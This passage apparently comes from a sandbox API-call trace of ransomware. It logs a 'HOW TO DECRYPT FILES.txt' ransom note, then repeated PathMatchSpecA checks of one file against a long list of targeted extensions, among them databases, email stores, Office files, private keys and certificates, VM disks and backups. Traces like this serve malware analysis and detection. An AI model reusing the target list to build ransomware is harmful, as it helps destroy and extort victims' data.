DECRYPT FILES.txt" [0119.323] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\how to decrypt files.txt")) returned 0x20 [0119.323] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\", lpString2="System.IdentityModel.Services.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux" [0119.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.323] lstrlenA (lpString="*.ems") returned 5 [0119.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.db") returned 0 [0119.323] lstrlenA (lpString="*.db") returned 4 [0119.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.dbf") returned 0 [0119.323] lstrlenA (lpString="*.dbf") returned 5 [0119.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.myox") returned 0 [0119.323] lstrlenA (lpString="*.myox") returned 6 [0119.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.myo") returned 0 [0119.323] lstrlenA (lpString="*.myo") returned 5 [0119.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.qbw") returned 0 [0119.323] lstrlenA (lpString="*.qbw") returned 5 [0119.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.qbb") returned 0 [0119.323] lstrlenA (lpString="*.qbb") returned 5 [0119.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.qbm") returned 0 [0119.323] lstrlenA (lpString="*.qbm") returned 5 [0119.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.qbo") returned 0 [0119.324] lstrlenA (lpString="*.qbo") returned 5 [0119.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.qbx") returned 0 [0119.324] lstrlenA (lpString="*.qbx") returned 5 [0119.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.qba") returned 0 [0119.324] lstrlenA (lpString="*.qba") returned 5 [0119.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.qby") returned 0 [0119.324] lstrlenA (lpString="*.qby") returned 5 [0119.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.qbj") returned 0 [0119.324] lstrlenA (lpString="*.qbj") returned 5 [0119.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.ofx") returned 0 [0119.324] lstrlenA (lpString="*.ofx") returned 5 [0119.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.qif") returned 0 [0119.324] lstrlenA (lpString="*.qif") returned 5 [0119.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.mye") returned 0 [0119.324] lstrlenA (lpString="*.mye") returned 5 [0119.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.mbox") returned 0 [0119.324] lstrlenA (lpString="*.mbox") returned 6 [0119.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.eml") returned 0 [0119.324] lstrlenA (lpString="*.eml") returned 5 [0119.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.pst") returned 0 [0119.324] lstrlenA (lpString="*.pst") returned 5 [0119.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.ost") returned 0 [0119.325] lstrlenA (lpString="*.ost") returned 5 [0119.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.idx") returned 0 [0119.325] lstrlenA (lpString="*.idx") returned 5 [0119.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.dbx") returned 0 [0119.325] lstrlenA (lpString="*.dbx") returned 5 [0119.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.sql") returned 0 [0119.325] lstrlenA (lpString="*.sql") returned 5 [0119.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.mdb") returned 0 [0119.325] lstrlenA (lpString="*.mdb") returned 5 [0119.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.fdb") returned 0 [0119.325] lstrlenA (lpString="*.fdb") returned 5 [0119.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.wab") returned 0 [0119.325] lstrlenA (lpString="*.wab") returned 5 [0119.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.dat") returned 0 [0119.325] lstrlenA (lpString="*.dat") returned 5 [0119.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.txt") returned 0 [0119.325] lstrlenA (lpString="*.txt") returned 5 [0119.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0119.325] lstrlenA (lpString="*.jpeg") returned 6 [0119.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.jpg") returned 0 [0119.325] lstrlenA (lpString="*.jpg") returned 5 [0119.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.png") returned 0 [0119.326] lstrlenA (lpString="*.png") returned 5 [0119.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.php") returned 0 [0119.326] lstrlenA (lpString="*.php") returned 5 [0119.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.cs") returned 0 [0119.326] lstrlenA (lpString="*.cs") returned 4 [0119.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.cpp") returned 0 [0119.326] lstrlenA (lpString="*.cpp") returned 5 [0119.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.rar") returned 0 [0119.326] lstrlenA (lpString="*.rar") returned 5 [0119.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.zip") returned 0 [0119.326] lstrlenA (lpString="*.zip") returned 5 [0119.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.html") returned 0 [0119.326] lstrlenA (lpString="*.html") returned 6 [0119.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.htm") returned 0 [0119.326] lstrlenA (lpString="*.htm") returned 5 [0119.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0119.326] lstrlenA (lpString="*.xlsx") returned 6 [0119.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.xls") returned 0 [0119.327] lstrlenA (lpString="*.xls") returned 5 [0119.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.mp4") returned 0 [0119.327] lstrlenA (lpString="*.mp4") returned 5 [0119.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.ppt") returned 0 [0119.327] lstrlenA (lpString="*.ppt") returned 5 [0119.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.pptx") returned 0 [0119.327] lstrlenA (lpString="*.pptx") returned 6 [0119.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.doc") returned 0 [0119.327] lstrlenA (lpString="*.doc") returned 5 [0119.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.dot") returned 0 [0119.327] lstrlenA (lpString="*.dot") returned 5 [0119.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.docx") returned 0 [0119.327] lstrlenA (lpString="*.docx") returned 6 [0119.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.7z") returned 0 [0119.327] lstrlenA (lpString="*.7z") returned 4 [0119.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.tar") returned 0 [0119.328] lstrlenA (lpString="*.tar") returned 5 [0119.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.bz2") returned 0 [0119.328] lstrlenA (lpString="*.bz2") returned 5 [0119.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.gz") returned 0 [0119.328] lstrlenA (lpString="*.gz") returned 4 [0119.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.mkv") returned 0 [0119.328] lstrlenA (lpString="*.mkv") returned 5 [0119.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.eml") returned 0 [0119.328] lstrlenA (lpString="*.eml") returned 5 [0119.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.msg") returned 0 [0119.328] lstrlenA (lpString="*.msg") returned 5 [0119.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.edb") returned 0 [0119.328] lstrlenA (lpString="*.edb") returned 5 [0119.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.accdb") returned 0 [0119.328] lstrlenA (lpString="*.accdb") returned 7 [0119.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.odb") returned 0 [0119.328] lstrlenA (lpString="*.odb") returned 5 [0119.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.java") returned 0 [0119.328] lstrlenA (lpString="*.java") returned 6 [0119.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.asm") returned 0 [0119.329] lstrlenA (lpString="*.asm") returned 5 [0119.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.pfx") returned 0 [0119.329] lstrlenA (lpString="*.pfx") returned 5 [0119.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.pem") returned 0 [0119.329] lstrlenA (lpString="*.pem") returned 5 [0119.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.p12") returned 0 [0119.329] lstrlenA (lpString="*.p12") returned 5 [0119.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.gpg") returned 0 [0119.329] lstrlenA (lpString="*.gpg") returned 5 [0119.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.vsd") returned 0 [0119.329] lstrlenA (lpString="*.vsd") returned 5 [0119.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.odg") returned 0 [0119.329] lstrlenA (lpString="*.odg") returned 5 [0119.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.raw") returned 0 [0119.329] lstrlenA (lpString="*.raw") returned 5 [0119.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.nef") returned 0 [0119.330] lstrlenA (lpString="*.nef") returned 5 [0119.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.svg") returned 0 [0119.330] lstrlenA (lpString="*.svg") returned 5 [0119.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.psd") returned 0 [0119.330] lstrlenA (lpString="*.psd") returned 5 [0119.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.vmx") returned 0 [0119.330] lstrlenA (lpString="*.vmx") returned 5 [0119.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0119.330] lstrlenA (lpString="*.vmdk") returned 6 [0119.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.vdi") returned 0 [0119.330] lstrlenA (lpString="*.vdi") returned 5 [0119.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.lay6") returned 0 [0119.330] lstrlenA (lpString="*.lay6") returned 6 [0119.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0119.330] lstrlenA (lpString="*.mpeg") returned 6 [0119.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.djvu") returned 0 [0119.330] lstrlenA (lpString="*.djvu") returned 6 [0119.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.tiff") returned 0 [0119.330] lstrlenA (lpString="*.tiff") returned 6 [0119.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.backup") returned 0 [0119.330] lstrlenA (lpString="*.backup") returned 8 [0119.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.pdf") returned 0 [0119.331] lstrlenA (lpString="*.pdf") returned 5 [0119.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.cert") returned 0 [0119.331] lstrlenA (lpString="*.cert") returned 6 [0119.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.docm") returned 0 [0119.331] lstrlenA (lpString="*.docm") returned 6 [0119.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0119.331] lstrlenA (lpString="*.xlsm") returned 6 [0119.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.dwg") returned 0 [0119.331] lstrlenA (lpString="*.dwg") returned 5 [0119.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.nd") returned 0 [0119.331] lstrlenA (lpString="*.nd") returned 4 [0119.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.tlg") returned 0 [0119.331] lstrlenA (lpString="*.tlg") returned 5 [0119.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.lgb") returned 0 [0119.331] lstrlenA (lpString="*.lgb") returned 5 [0119.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.mov") returned 0 [0119.331] lstrlenA (lpString="*.mov") returned 5 [0119.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.xdw") returned 0 [0119.331] lstrlenA (lpString="*.xdw") returned 5 [0119.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.ods") returned 0 [0119.332] lstrlenA (lpString="*.ods") returned 5 [0119.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.wav") returned 0 [0119.332] lstrlenA (lpString="*.wav") returned 5 [0119.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.mp3") returned 0 [0119.332] lstrlenA (lpString="*.mp3") returned 5 [0119.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.aiff") returned 0 [0119.332] lstrlenA (lpString="*.aiff") returned 6 [0119.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.flac") returned 0 [0119.332] lstrlenA (lpString="*.flac") returned 6 [0119.332] PathMatchSpecA 